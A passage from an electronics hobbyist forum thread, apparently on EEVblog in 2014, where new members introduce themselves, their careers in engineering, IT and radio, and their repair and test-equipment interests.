I always had a love for trains, so when the opportunity came to work for a company that is specialised in rail signalling solutions, I had to go. This is where I'm working now as a project manager and head of my own (great) team  :)

Trains are also a hobby of mine, so I do have my own little layout in my flat (about eight square meters). It a fully computer controlled H0 gauge layout, with a typical Swiss scenery. It's technically fully operational, but I still ahven't really started with the scenery itself. Aside helping a friend on his huge layout I really like to play around with electronics and build stuff for me, my family and my friends. These things are mostly based on some sort of Arduino platform which I do prefer just for the time it safes you  :D

What else ? Well, I do have a very weird musical taste  :o ;D ah, my Nickname: It comes from a time, when I was a very ambitious gamer (looooong time ago, in this galaxy).
As I'm very busy at work at the moment, I don't really know how active I'm gonna be in this Forum, but time and new projects will come  ^-^

Best regards from Switzerland
Nico
Title: Re: New Member, Please introduce yourself
Post by: Cside on August 12, 2014, 11:30:01 am
Im Andrew

Im a little crazy, a little ignorant, a little paranoid.
Title: Re: New Member, Please introduce yourself
Post by: thobo on August 12, 2014, 04:57:04 pm
Hi,

I'm Thomas, inspired by Dave i got back to my hobby playing with a soldering iron. In the late 80's I did a recognized occupation requiring formal training (communication electronics) and in the 90's I studied technical computer science (master). With time I stuck more and more in software development, but the fantastic Blog from Dave brought me back to electronics. Since few weeks I hunt used or defect measurement devices, trying to repair them. Till now I got a Sinclar DM2 and a Philips PM2522A (Multimeters) back into operational state and partial calibrated. My Philips PM3212 (Oscilloscope) is working again, but not calibrated.
Hope we have a lot more video posts from Dave :)

cu
  Thomas
Title: Re: New Member, Please introduce yourself
Post by: Richardchris on August 13, 2014, 05:29:59 am
I am richard chris. I live in farmington hills, USA. I currently work in the IT industry implementing data storage arrays, for oil  company. I have had a long-time love of electronics, ever since uncle let me take old tape recorders apart as a young lad...

Title: Re: New Member, Please introduce yourself
Post by: ninjastrike on August 18, 2014, 01:01:45 pm
Hello!

I'm an aeronautical engineer, read at Monash University. 25 this year. Ended up in private banking. Stumbled upon the blog whilst looking for a new oscilloscope.
Since I don't practise engineering at the work place, I try to find time to do what I love.
This is a great community!

Title: Re: New Member, Please introduce yourself
Post by: plus6dbE on August 21, 2014, 06:02:12 pm
Hello all!

I love Dave's videos and I've been watching for a while, so I thought it was about time to stop lurking and say 'hi'!  :)

I live in Ft Worth, Texas. I studied electrical engineering at UT Arlington, and got my BSEE in 2000. After college I went straight into patent law, and I love it!

I enjoy tinkering with electronics.  I love tear-downs and occasionally I even attempt to fix something. I also like scoring old electronics at auctions. I'm amazed at what Dave finds during his dumpster dives - I wish people around here would toss out such nice stuff!
Title: Re: New Member, Please introduce yourself
Post by: KB8CWB on August 25, 2014, 01:32:04 am
Hello to All

Just another electronics nerd to join the pack.  Found this place by way of Dave's entertaining videos.  I am a ham, electrical engineer, and general tinkerer.  Been doing this since I was about 8 years old when I built my first Heathkit (yes I am dating myself). 

Regards,
Bill
KB8CWB
Title: Introduce yourself thread!
Post by: Allan88 on August 28, 2014, 11:37:17 am
Hi, I am new to eevblog. I am electrical engineer. I am very happy to have chosen to be a part of your community and I hope I enjoy and gathered informative information. Hopefully I learn something about them. I hope to become friends with you guys and have a nice day.
Title: Re: New Member, Please introduce yourself
Post by: RobEE on August 28, 2014, 10:33:30 pm
Hello all,
My name is Robert. I spent some time in the US Air Force as am avionics technician doing maintenance and repair of aircraft communication, navigation and radar systems. Now I am going to school to be an EE.
Title: Re: New Member, Please introduce yourself
Post by: urlkrueger on August 29, 2014, 02:55:16 am
Hello everybody.

When I was a kid I used to go to the local dump and bring home old radio's and eventually TV's when they became available and take them apart.  I learned a lot about what the various parts were and how they worked but I never did understand how to put them together to do anything interesting. 

Later I was trained by the U.S. Navy as an electronics tech and got to work on early digital and analog computers.  At that time a quad nand gate was a 3" X 4" PCB with a bunch of discrete transistors, resistors and capacitors to implement the logic function.  Later I got into the software side of things writing device drivers and such for mini and micro computers where the most complex chip was an adder and then later still into system administration.  The last big chunk of time in my working life was spent keeping your cell phone working.  (Yay !!!  No more on-call, no more all night conversions.)

Now that I can sit back on my duff and do most whatever I want, as long as it doesn't cost too much money, I am back to trying to figure out how to glue all those different electronic components into circuits that will do interesting things.  In other words, I want to know what you EE's know without doing the whole expensive college thing.  So get ready because I'm hoping you'll be able to help me along, and I promise I'll do my homework first before I bug you.  And don't worry, I'm certainly definitely not after your job.

Thanks in advance.

url
( or as my mother spelled it "Earl" )
   

Title: Re: New Member, Please introduce yourself
Post by: sm5uiu on August 29, 2014, 06:23:13 pm
Sam from Sweden. Ham radio operator and avionics tech.

Thank you all !...

Unlocked a Rigol 815-TG (spec ana to include all options)
Unlocked a Rigol DS2072A-S (from 70 to 300MHz incl all options)

Have to say that my work Tektronix 200MHz/2GS looks old fashioned compared to the Rigol (and cost almoast double the Rigol)
(To Rigol techs - I proboably wouldnt have bought any of these units if it wasnt for the unlock posibilities. Now Im so pleased that Im thinking of replacing my old Fluke 45 bench multimeter for a Rigol... but guess no unlocks there)

Unlocked a Flir i3 from 60x60 to 120x120 pixels (same as Flir i7)

What comes next.. (perahaps start using the equipment instead   ;) 

Title: Re: New Member, Please introduce yourself
Post by: CT Special Forces on August 30, 2014, 12:59:49 pm
Hello there,
a lurker
also found myself here via Dave's ranting, (great accent)
and tech knowledge
my cheapie dmm has gone haywire (after several years mind you) so I picked up an 'ol fluke 77
and am wanting to get time to repair a bunch of stuff
which I will hopefully be able to post up in the repair section

I would like to say thanks for all your advice and suggestions, especially
for those of us who are technically illiterate....
Title: Re: New Member, Please introduce yourself
Post by: IconicPCB on September 07, 2014, 11:44:41 pm
Ziggy here.

Live and work in Brisbane. Run a small PCB prototyping service making single double and multilayer boards.

Also of late offer SMD pick and place assembly service.

I have been out on my own for the past 20 odd years.

Area of interest:  maintaining unity of body and soul.


Title: Re: New Member, Please introduce yourself
Post by: unbiased on September 09, 2014, 12:02:53 am
Hello, I just joined this very nice, informative and fun forum after lurking around the multimeter test equipment threads for a few days.  I am a gadgets and electronics freak like most of the members (I am guessing), and I only stumbled upon this nice forum because I recently got the itch to get a new multimeter.  I have many old analog meters and an old Fluke DMM from the 1990's.  I seemed to have lost that old Fluke DMM buried in the mess of my house somewhere, so I decided to get a new one.  Well that led me into doing the research for the best bang for the buck if not the best DMM that I can get and not empty my wallet.  I found and watched the many nice informative and entertaining videos on the internet which ultimately led me to these forums.  So here I am.  I am very knowledgeable in electronics and repair and refurbish vintage Hi-Fi Stereo equipment (tube and solid state) and speaker systems in my spare time as a hobby.  So a really nice meter like the Brymen BM869 caught my attention and I just went ahead and ordered one based on the high raves from the many on this forum.  I thank Dave and all that make this forum so informative and the fun to watch videos. I am glad to join and be part of it!
I am from and in the NYC area, USA.

Update: I might add that I have been attracted to electricity and electronics since I was about 11 years young from the first time I got shocked by the electrical 120VAC current playing around with an AC electrical socket and then moving on into my ventures of Hi-Fi stereo sound and equipment.  I used to pick up old TV set chassis and speakers off the street in NYC when I found them thrown out and in junk yards! I would bring them home and start tinkering and taking them apart, learning electronics. Later I enlisted and served 8 years in the U.S. Navy where I was trained thoroughly in electronics and worked on all sorts of Digital and Analog equipment from radios, multiplexers, test equipment, teletype to a full blown Univac computer system with old fashioned MIST cards!  Those were the fun days! I received my FCC 1st Class Radiotelephone license back in 1980 while serving a tour of duty on Guam. I went on after the Navy to work for IBM for 19 years where I honed my software development programming skills, then at AT&T as a senior software engineer, District manager. Bad times laid a lot of us senior paid individuals off and I wound up for a stint as Director of IT Programmimg at NYC, HHC for 2 years, then got called back to work as a consulting contractor to AT&T again doing software development stuff where I am now.  I still dabble in electronics every now and then, mostly audio Hi-Fi related.  I have a BS degree in Mathematics with Computer Specialization and a MS Degree in Telecommunications. That's my extremely summarized background.
Title: Re: New Member, Please introduce yourself
Post by: holmsn on September 10, 2014, 08:42:00 pm
Hi,after seeing Dave's many inimitable tear downs on YouTube , latterly the one for the Keithly 2015 meter which I only recently realised had the DSP for distortion measurement, I decided to join his blog board to share ideas with like minded people.
I am a retired UK broadcast transmitter engineer, which occupied me quite enjoyably for 35+ years but after retirement when I thought I'd forget about technical matters for a few years you soon miss doing electronics hands-on, so more recently I've been playing with Raspberry Pi and the like also my old hobby of DIY audio. At the moment I have a slightly sick Keithly 2015 probably 20 years old which I think needs refurbishment of its power supply electrolytics thanks to this board I found a link to a limited Service Manual rather than an operation guide
Title: Re: New Member, Please introduce yourself
Post by: Spilly on September 20, 2014, 01:23:46 pm
Hello, I'm Ryan from the middle of nowhere in North Carolina (Merica).

I am a current Electrical and Computer Engineering Technology student.  I enjoy spending my time working on electronics and programming projects.  Dave's tutorials brought me to his channel and I have been hooked ever since!
Title: Re: New Member, Please introduce yourself
Post by: janengelbrecht on September 22, 2014, 12:33:23 am
Hey - I´m a Dane.....Electronics ENgineer from University of Aarhus (Denmark).
I´ve been into electronics since 1980. I work at: jpelectronics.eu (http://jpelectronics.eu) and  [url=http://jpwebdesign.eu]http://jpwebdesign.eu (http://jpwebdesign.eu)[/url]
What else to say ? I´m a musician so of course all electronics related to making and producing music has my interest :)
Title: Re: New Member, Please introduce yourself
Post by: JayTheGent on September 25, 2014, 03:08:10 am
Hi all.  I'm James.  I study computer and electrical engineering.  I am in my fourth year of a five year program. 
Title: Re: New Member, Please introduce yourself
Post by: digitalnomadjc on September 26, 2014, 02:10:18 am
Hi, I'm Justin. I've been an electronics enthusiast for about 3 years and work on it in my spare time. My day job is working as an IT Consultant. My main electronics interests are things that work on IP networks and agriculture related systems.
Title: Re: New Member, Please introduce yourself
Post by: YD2WPE on September 26, 2014, 04:37:11 pm
HI.,.my name is eko pramono with callsign is YD2WPE,..i'm abegineer at direct finding,..maybe oll my friends can share the knowledge about direct finding..best regards from indonesia
Title: Re: New Member, Please introduce yourself
Post by: kuku175 on September 26, 2014, 07:28:22 pm
Hello, i'm A-P from finland. In day to day work for industrial applications, mainly SW/HW desing but from time to time also manufacturing and servicing.

Meany years been about to join the forums, finaly today realised that almost four years has passed since first time that i looked Dave's video blog and three years that i'm been reading the forums. So finally registred today.  :)   
Title: Re: HOWDY! New Member, Please introduce yourself
Post by: volthaus on October 05, 2014, 07:34:01 pm
Howdy all ya'll wire-heads! I'm in Texas making smoke and telling jokes. I been frying components (  :-DD ) since I was a little kid with my 130-In-1 Radio Shack project box.  It's great to be here and I'm looking forward to tons of fun.
Title: Re: New Member, Please introduce yourself
Post by: dogcatdog on October 06, 2014, 05:31:47 am
Hello from NY, been a lurker, just recently restarting my electronic project hobbies......
Title: Re: New Member, Please introduce yourself
Post by: mrbook on October 07, 2014, 03:50:23 pm
Hello,

I am just getting back into EE as a hobby after a 10 year hiatus.  Sad I sold most of my gear through the years (I do still have my trusty Fluke 12) but now I get to buy new stuff.

I am a software developer by trade (mainly C/C++/C#) and primarily work in the industrial automation area.

Been in to electronics and computers since I was a kid and really enjoy them.  My hobbies now a days are spending time with family, electronics, HAM radio and various other things.

Anyways I just want to stop by and say hello.

mrbook   
Title: Re: New Member, Please introduce yourself
Post by: engywook on October 10, 2014, 06:01:51 am
Hi,

I am a hobby fan, in the remote control vehicles type (cars, planes, multi-rotor, ... starting the FPV path). I use electronics all the time, and I come here to get some tips on technique and tools to help me.

I am from Belgium (Europe) and work as a software developer.

Nicolas
Title: Re: New Member, Please introduce yourself
Post by: volthaus on October 10, 2014, 11:13:46 am
I forgot to mention my primary passion is solar power. I would love to see the people of the world stop being petroleum junkies! If anyone is into it as well and could use a hand with any projects let me know! :-+
Title: Re: New Member, Please introduce yourself
Post by: valvedude on October 11, 2014, 06:35:45 am
hi i am Ian i am 38 years old i live in Dulwich Hill Sydney
i works as an electronics technician in Ashfield Sydney Australia
i have all ways been interested in electronics since time i could read walk and talk hahahahah
at my work i work on domestic and professional electronics
i have a lab in my dining room were i build and fix electronic equipment
i love working on valve gear i have tough my self by reading old valve radio and electronic data books and practising and studying on equipment
i enjoy build valve guitar amps and valve preamps for a hobby

Title: Re: New Member, Please introduce yourself
Post by: Ranchu on October 13, 2014, 08:58:43 pm
Hi everyone

My name is Christian from Brisbane, Australia.  I have an interest in analogue electronics, and I'm currently fairly active on the DIYAUDIO forum.

While doing research for a new 'scope I came across some of David Jones' crazy video reviews, which has led me to this forum.

cheers
Title: Re: New Member, Please introduce yourself
Post by: a_vlad on October 14, 2014, 02:16:14 am
Hi All,

Vladimir, Auckland, New Zealand

IT professional, graduated Electric Engineer, Masters in IM
hobby - diving, sailing, embedded electronics, navigation equipment, radio
Title: Re: New Member, Please introduce yourself
Post by: KG7AMV on October 17, 2014, 01:20:22 am
I am Steven Ex-EE out of practice for about 10-12 years Relearning and making it a hobby!
Title: Re: New Member, Please introduce yourself
Post by: asteroidz on October 17, 2014, 08:05:43 am
Hi,
I am Liming. I have been working on RF electronics and PCBs for a few years. Nice to meet everyone.
Title: Re: New Member, Please introduce yourself
Post by: uridium on October 19, 2014, 12:45:22 am
Hi I'm Al.

New hobbyist. Mostly repairing old DEC computers and other silly stuff. Have built a couple of 8bit homebrew computes and am having a ball learning! :)

Best Wishes,

Al
Title: Re: New Member, Please introduce yourself
Post by: Teljemo on October 19, 2014, 07:57:48 am
Hi.
I'm a 30 years old hobbyist from Sweden.
We have "Svenska Elektronikforumet" (Swedish electronics forum) over there that is great but i felt that I needed to register on a international  forum too.
So here I am. I've been a Sub for eevblog for a long time so the choice of forum was not hard ;)

I'm doing all kinds of projects. and I try to save them on my site, both in pictures and video clips on youtube.

Glad to be here =) :scared:
Title: Re: New Member, Please introduce yourself
Post by: donmr on October 19, 2014, 11:55:19 pm
Hi, still working after about 35 yrs.  20+ with HP in calculators, printers, cameras.  Then Agilent, and Avago.  They sold our group and the wild ride has continued through several more changes.  Still doing embedded stuff for a living.

I'm also into amateur radio as a hobby and community service (W7DMR).

Don
Title: Re: New Member, Please introduce yourself
Post by: bills on October 20, 2014, 01:24:12 am
Hi
my name is bill and I have a electronics problem,I have tried a 12 step program but it did not work.
So here I am.
regards
bill
Title: Re: New Member, Please introduce yourself
Post by: bingo34 on October 20, 2014, 09:47:07 am
Hello,

My name is David,
I am 33 years old i live in Paris
I search to softmod a graphic card on graphic professionnal card.

My search from google go here.
Regards
David
Title: Re: New Member, Please introduce yourself
Post by: pordzio on October 23, 2014, 10:35:02 am
Hi all,
My name is Piotrek.
Currently I'm a Java programmer in a big corporation.
I'm also a certified electronic technician by education - currently really rusty, although Dave's videos make want to refresh ;D

Cheers
Title: Re: New Member, Please introduce yourself
Post by: kb1uif on October 25, 2014, 02:50:00 pm
Hi,
My name is Andy, I'm 57. I was born in England but now live in the USA.
I have been studying electronics since I was back in England at the age of 8, when my parents bought me a Philips electronics set. It became a career when I joined a TV repair shop as an apprentice at 16. At 21 I left there to work at British Telecom repairing exchange equipment. After a few years I was asked if I would like to move into the training department to teach the 15 or so annual intake of technician students which I did for several years. The company went through various changes over the years and our section became more manufacturing than repair. We also started running courses on the products that were manufacturing some were Unix based. Fujitsu eventually took over our section of BT and we started manufacturing communication products for them.
After a serious illness I left BT to work at a local college as a Computer services and Network manager.
Around 2000 I moved to the USA. I had enough of the corporate life style so now I work at a residential home for special needs clients. I still love to repair electronic equipment when I get the opportunity, some domestic equipment and some computer or radio equipment as I am a Radio Ham, hence the KB1UIF & G6JVS.
I have a good selection of test equipment that I have aquired over the years some old and some new.
I also have lots of radio equipment that I like to repair when required.
Well that's enough of my waffle, I hope to meet you folks on the forums to throw around a few ideas.
Title: Re: New Member, Please introduce yourself
Post by: pdlservices on October 25, 2014, 04:42:31 pm
Hi All my name is Pete i am from the Uk and run an Electronics assembly company.

Title: Re: New Member, Please introduce yourself
Post by: G-Nerd on November 01, 2014, 07:49:40 pm
Hi all Gareth from the UK

I have mostly worked with garage equipment (engineering) and as a domestic appliance engineer, I have always been interested in electronics and getting down to the fun stuff and now I have a bit more time and cash I decided to give it ago!

Current Status  |O getting started lol but enjoying the vids and hope to gain some knowledge from this forum

Cheers
Title: Re: New Member, Please introduce yourself
Post by: Framebuffer on November 01, 2014, 11:35:04 pm
Sup everyone!
I've been an EEVBlog lurker for a while now, and I keep hearing bout the famous forum Dave keeps on saying on his vids, so I joined.
I'm a complete n00b when it comes to electronics, but I know my way around software (also I code! yay!) and computer hardware. Sp yeah, hai. :blah:
Title: Re: New Member, Please introduce yourself
Post by: Absintu on November 04, 2014, 02:07:27 am
Hi.. Im Absinto from Portugal
Almost graduating in Telecomunications anda Electronics Eng
 :D
Title: Re: New Member, Please introduce yourself
Post by: awde on November 04, 2014, 09:48:06 am
Hi, I'm EE student from Finland!
Title: Re: New Member, Please introduce yourself
Post by: PatrikLundin on November 05, 2014, 02:48:24 am
Hi there. Patrik, originally from Sweden, now in the US. Mostly a web back-end guy, formerly more application programmer/system designer/whatever I could convince people to pay me for. Some HW experience but mostly software guy. Turned 40 this year, realizing hardware is still really fun and these days it doesn't look as brutal as it was twenty-twenty five years ago.
Title: Re: New Member, Please introduce yourself
Post by: wazzokk on November 05, 2014, 04:48:00 pm
Hi All
I am Dave, i've been a enthusiastic follower of EEVblog videos for quite a while, Luv Em Dave.
I have been, vehicle mechanic, TV engineer, British Telecom engineer and various others. Now retired, married, two kids, two grandkids. Always been into DIY and I like repairing things that are not supposed to be serviceable, I guess thats recycleing but really I just don't like A throwing things away B spending money (Yorkshire Man). I  have been an amateur electronics constructor since I was 11 (valves even) but still don't know much, now playing with Picaxe chips. Inactive Radio Amateur, once  I've built something somebody else can play with it. At the moment wondering whether to buy a Hantek 6022BL/BE after following the "Hantek 6022BE 20MHz USB DSO" thread really excellent work by RichardK with support from others.
Title: Re: New Member, Please introduce yourself
Post by: RLBennett on November 05, 2014, 07:36:10 pm
Hello fellow Nerds & Geeks! Been doing radio and electronics for awhile....well, since the early 1970s. Got my ham ticket in 1977 and still active, my call is WD4DUI and I hang on 14.300.
Spent 8 years in the USAF as a microwave radio systems troop and worked on many different microwave tranceivers from tube types to solid state types in the 4 to 8 GHz ranges. Also worked on FDM and TDM multiplexers, teletype muxes, battery systems. Stationed at Feldberg Germany, Kwag-Ju Korea, Rome NY & Sumpter S.C. Learned lots a good stuff in the Air Force.
While in high school, I attended Ahren's Trade School and studied Radio & TV repair in Louisville, KY. I loved breaking them rectifier tubes and getting the mercury out of them.
I wish that I had more space for my electronics shop, I have tons of stuff but not enough space to work.
Also, was Cheif Engineer at a wireless MMDS TV company, engineer and manager for a radio direction finder company and other jobs in the radio, telecomm and electronics field. Now retired and need to do more with my radio electronics endeavours. (Pardon my spelling)
73 to all here.
Rob WD4DUI
Title: Re: New Member, Please introduce yourself
Post by: chew on November 09, 2014, 01:47:27 pm
hello
I have been watching Dave's video since episode 1, but finally got off my butt to join teh Forum.
Worked in the electronic industry for many years mainly in product development.  Tried to quit the field one time but being a diehard nerd, just can't hack it anywhere else  :-DD
Title: Re: New Member, Please introduce yourself
Post by: dizgah on November 12, 2014, 09:16:38 pm
hi every body
im Mahmoud,from iran
with best regards
; )
Title: Re: New Member, Please introduce yourself
Post by: inness1948 on November 15, 2014, 07:07:49 pm
Hi there everybody my name is Bob and I joined this forum on 4 Nov 2014, This is my first post, just to say hello, it as taken me until now to find where to place this post ( so I will have no chance of finding my way round circuit boards  :-DD )I retired a few years ago so I started looking at electronics, I have followed Dave and his EEVblog vids on you tube for quite some time and I thought it was time to join, so here I am, I have read lots of other boards and I decided that this one was the most friendly, people seem to respect each other on this board, they can have a dig at people but they don't resort to swearing and name calling, quite civilised, for this I thank you all, I hope that one day I will be able to add to the knowledge that is here, but until I get that good I will just ask daft questions. Many thanks for reading this far, Bob
Title: Re: New Member, Please introduce yourself
Post by: Arlen moulton on November 15, 2014, 07:35:38 pm
Watch a I'm Arlen I collect vintage radios and I have 76 of them! I have been a collector for five years and know a fair bit about basic test equipment power supplies factory and home made and amplifiers and the way to get high sound quality from small speakers
Title: Re: New Member, Please introduce yourself
Post by: Supercharged on November 15, 2014, 10:47:21 pm
Hi my name is Jerome.
i live in Swizerland and im looking forward to study EE at the ETH (Eidgenössische Technische Hochschule => Swiss Federal Institute of Tecnology) in Zürich.
I am a interestet hobyist and verry thankful to Dave for doing the EEVblog it helped me a lot.

Looking forward to great experiences in the Forum.
Title: Re: New Member, Please introduce yourself
Post by: samnmax on November 17, 2014, 02:08:42 pm
Hi everybody!

I'm a computer enginneer from Catalonia with an interest/hobby in electronics. I like taking things apart and repairing them, and Dave's videos have been very useful and instructional (and funny  :D)
I finally decided to join the forum to post about the repairs I've done to my first oscilloscope, a Philips PM3218.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: blundar on November 21, 2014, 05:25:03 am
My name is Dave.  I've been lurking here for years but finally got around to registering on the forum.  I work with automotive electronic systems a lot.  I'd love to play with more high voltage stuff, like SSTC/plasma speaker kinda stuff.
Title: Re: New Member, Please introduce yourself
Post by: -jeffB on November 23, 2014, 06:37:13 pm
I'm Jeff. I'm a longtime electronic hobbyist, although I've been pretty inactive for the last decade or so. I cut my teeth on LS TTL and op-amps in plastic DIPs, so your modern chip capacitors and BGAs confuse and frighten me.  :)

I was drawn here by the lengthy discussion of the Seek Thermal camera dongle -- I've got one on order, and I've got some vague ambitions of doing more than just point-and-shoot work with it. My professional and academic background is in computer science and usability, and I spent a lot of time working with ImageJ at a previous job, so I'm hoping I can do a bit of useful tinkering on the software side.
Title: Re: New Member, Please introduce yourself
Post by: TubiCal on November 23, 2014, 11:28:32 pm
Hi #?,

This is TubiCal and i just found this fred here. I studied EE/telecommunications @ "Technische Hochschule Darmstadt" or FHD nowadays calling itself h_da. I worked as a PCB design engineer for about four years until the company sourced it all out. Prior to that i was a student employee at VDE here in germany, as i liked to blow up things on purpose and got paid for that;)

Now i earn my money i a complete different field of activity, as i do not want to work my ass off for absolute minimum payment.

But electronics remains as it is one of my major hobby, along with music and recording.
As i done both part time professional. I was a part time musician for a studio, played in various bands (hard rock, funk, jazz, electro, trance...)Run a studio until we closed as money margins had been cut to nearly zero.

I had most fun while done some ProAudio rental service during the 199x. Popping cones from 18inch woofers prior to its reconing was a lot of fun, as well as bowing up serious PA-Amps on purpose to see if they are as good as claimed by the manufacturer (mostly - there where not;)

Last, but definitive not least, i *like* tubes.
Title: Re: New Member, Please introduce yourself
Post by: john44066 on November 25, 2014, 02:03:54 am
Hi,

My name is John Eccles. I live in Cheraw, South Carolina, USA and I am 66 years young. I am now retired from the electronics industry as a hardware/software/firmware design and development engineer where I worked on Coastal Radar systems, military systems for aircraft flight displays, fuel quantity measurements systems, and landing systems, and then finally design and development for military vehicle computer systems in support of the Iraq and Afghanistan conflicts.

While in retirement I am active in the following areas:

Amateur radio

Live sound production and DJing both video and audio

Astronomy - tracking systems for telescopes such as Meade and Nexstar. I have a website http://www.heavenscape.com (http://www.heavenscape.com) as well as a forum. I have recently purchased all rights and ownership to a satellite tracking program software package called Satellite Tracker. This is a very interesting aspect of my life. I have a Meade LX-200 ACF 10 inch telescope and a Nexstar 8SE 8 inch telescope for use as my development environment. Now the fun begins.

I have a full lab for doing hardware, firmware and software development. I just upgraded my computer to a Dell XPS 8700 i7 Win 7 with four 23 inch monitors along with a Dell XPS 17 i7 Win 7 laptop.

Well, anyway, there is a lot more that I could share but this is enough for now.

I find this forum very, very interesting and I just stumbled upon it a week or so ago.
Title: Re: New Member, Please introduce yourself
Post by: SCase on November 25, 2014, 09:31:05 pm
Hello. I'm Steve living in Thousand Oaks. I've been in the test equipment business for the last 35 years or so, now working mostly in RF / microwave gear.

In my spare time I build gadgets out of Arduino's, Pic's and Picaxe's; and my latest platform is the Raspberry PI.

I also teach an after school science program for 4th and 5th graders at a local school. Tying to give them as much hands-on time as possible with electronics and computers. Fortunately, they love it!

I have some vintage gear too. Fluke 910 AC Meter, 801 Differential Meter, and my favorites: Fluke 1722A Controller  and 1020A Touch Terminal. I even have some bubble-memory cards, (256k I think) for the 1722A.

Cheers to Dave for the awesome vids!
Title: Re: New Member, Please introduce yourself
Post by: veekzNUTS on November 28, 2014, 01:02:47 am
Aloha everyone! My name is Kawika.  I am 36 years old and live in Waimea, Hawaii.  I found this forum in a search for a multimeter that can better suit me than my current ge2524.  I enjoy tinkering and fixing my own things like my computers, motorcycle and truck.  I look forward to learning from, interacting with, and possibly helping you folks here. 
Title: Re: New Member, Please introduce yourself
Post by: Red Squirrel on December 01, 2014, 03:03:01 am
Hi everyone,  I'm Red Squirrel.   I'm 28 and from Canada, I work as a NOC (Network Operation Centre) tech for the local telco and went to school for computer science and I'd say I'm probably more on the software side when it comes to hobbies but electronics is something I've always been curious to learn.   Been enjoying watching Dave's videos and figured I'd join the forum.

I have a potential project I'm toying with making.   Basically a home monitoring/automation system.  There's some of these that pop up more and more these days but they seem to be very proprietary and some are even cloud based. Yuck!  Mine would be self contained and use simple NC/NO system and be rather customizable especially on the software side.  I have a very rudimentary system I use for my own stuff but it's kind of a mess and I'll probably want to redo it in a nice NEMA enclosure or at least something fairly contained and easy to manage. Right now it's a DIN rail on my server rack with cross connections going to circuit boards sitting in a plastic enclosure on a shelf.

As far as electronics knowledge, I know the basics, but that's about it.  Right now the biggest thing I need to do is find a better system to be organized and setup some kind of work area so I can dabble a bit more.

Anyway, so that's me, looking forward to being part of the forum.
Title: Re: New Member, Please introduce yourself
Post by: hans maree on December 07, 2014, 03:58:19 pm
Hi, I'm Hans, from the Netherlands.
I'm in my last year of the  electrical engineering master at Eindhoven university of technology, specialising in signal processing.

For about a year and a half I've been watching the eevblog starting from episode one! I'm almost at 400, so i still have a ways to go :P

Anyway i finally decided to an active member of the forum as well.
Title: Re: New Member, Please introduce yourself
Post by: TSL on December 07, 2014, 11:26:32 pm
G'Day,

My name is Tim and I've been messing around with Electronics in some form since I was 14 and dazzled by it in Physics at high school.

Having attained my Amateur Radio ticket just after leaving school I went on to be a repairman at Tandy/Radio Shack for some years before moving into computers. I had some deviations along the way building computer controlled pollution analysis equipment and that job gave me a grounding in chemistry, plumbing and pneumatics.

I've used Diptrace to design PCB's from some of my circuits and currently been toying with a mill to cut out prototypes. OMG not another hobby emerging!! :palm:

These days I look after a Proof-of-Concept lab for a giant computer firm but dabble in all things RF with a side order of Astronomy when at home. Add a dash of high energy physics messing with gamma ray detection and radiation monitoring and that's about me :)

cheers

Tim
Title: Re: New Member, Please introduce yourself
Post by: collyn on December 09, 2014, 05:35:07 am
I noticed a mention of Electronics Today International Today.

There appears to be a lot of misunderstanding of how it started etc.

I founded the magazine in April 1971 in Australia with the intent from the start of it becoming International. We got the UK one going six months later. The others followed.

If anyone is interested I can tell most of what happened up until my departure in 1982.

Collyn Rivers

(My website is www.caravanandmotorhomebooks.com (http://www.caravanandmotorhomebooks.com))
,
Title: Re: New Member, Please introduce yourself
Post by: teslafan on December 09, 2014, 06:24:50 am
Hi, nubie here with small electrical background in Residential/Commercial Electrical & HVAC work & a handful of electrical/electronics classes & 4 yrs +/- experience. Now retired & enjoying the vblog very much & slowly setting up a very small lab work desk & equip. for general purpose electronic design/repair work. Studying oscilloscope reviews & basic operation videos here on the site as this is my next intended purchase. Bought a new cheapie func gen., now looking at acquiring an inexpensive working/tested analog/digital or digital waveform scope. Hope to to get to know many of you. Thanks for your time. Happy Trails! teslafan
Title: Re: New Member, Please introduce yourself
Post by: August on December 09, 2014, 01:28:27 pm
Hi, I'm August. I'm 38 and from the Netherlands. I started out early tearing stuff down and fortunately had a grandfather with a lot of electronics/mechanical stuff lying around. Eventually I also became able to fix things. I have a degree in mechanical engineering/mechatronics but decided to do other work early on. I have a basic grasp of most things, and basic skills like soldering but not a lot of in depth knowledge such as schematic wizardry.

I really like fixing things which comes in handy in my household with three kids. Tech/physics interests me as well as (diy) audio.
Title: Re: New Member, Please introduce yourself
Post by: Chang on December 14, 2014, 08:43:25 am
Hello my name is Chang and I live in south Germany, near Stuttgart.
25 years ago i learned to fix Radios and TVs. Since then I worked for several companies (including building electric equipment, EMC measurement, High End Audio/Video Service and some IT stuff).
Later I took another qualification as engineering technician (information/communication).
Currently I work for an automotive OEM doing sound measurement and CAN stuff ...
My hobbies besides electronics are biking, hiking and motorcycle riding (all combined with Photgraphy and GPS stuff)
I discovered this blog some time ago while searching for digital scopes on youtube, been reading since then and decided to join a few months ago.
I think it's a very friendly and helpful forum. Keep up the good work !

-Chang
Title: Re: New Member, Please introduce yourself
Post by: TheUnnamedNewbie on December 14, 2014, 10:01:47 am
Hi, name is Joren.

Electronics enginneering and computer science student at KU Leuven, in Belguim. Have been interested in electronics as long as I can remember, and my education has only been amplifying the passion.
Other hobbies are Music, and some skateboarding.

Title: Re: New Member, Please introduce yourself
Post by: Howardlong on December 14, 2014, 04:43:57 pm
I noticed a mention of Electronics Today International Today.

There appears to be a lot of misunderstanding of how it started etc.

I founded the magazine in April 1971 in Australia with the intent from the start of it becoming International. We got the UK one going six months later. The others followed.

If anyone is interested I can tell most of what happened up until my departure in 1982.

Collyn Rivers

(My website is www.caravanandmotorhomebooks.com (http://www.caravanandmotorhomebooks.com))
,

I remember ETI in the UK, when compared to the other mags like Practical Electronics, ETI was a bit more bohemian, but that didn't detract from the content, far from it in fact. I'm trying to remember the computer that was described around the mid to late 70s, it was a single, large board with a proper full sized keyboad. I think it was a Z80, might be wrong. It was beyond my budget as a teenager, as was anything with a proper full keyboard in those days.
Title: Re: New Member, Please introduce yourself
Post by: Kishvier on December 16, 2014, 10:23:57 pm
Hello all, I'm Will from the United States, specifically Buffalo NY.  I'm a software engineering student at Clarkson University who dabbles in some hardware stuff, I've followed the blog for a while now and thought I'd get myself onto the forum.  :blah:
Title: Re: New Member, Please introduce yourself
Post by: vinicius.jlantunes on December 17, 2014, 08:08:39 pm
Hey, my name is Vinicius. I live in Brazil, in a city called Curitiba. I've been lurking around for a while, finally decided to register.

I am an electrical engineer, but unfortunately circumstances drove me away from working as such - I ended up working with IT (SAP systems) for a living, but did spend some 3-4 years working in testing and compliance verification labs while in university, which was lots of fun.

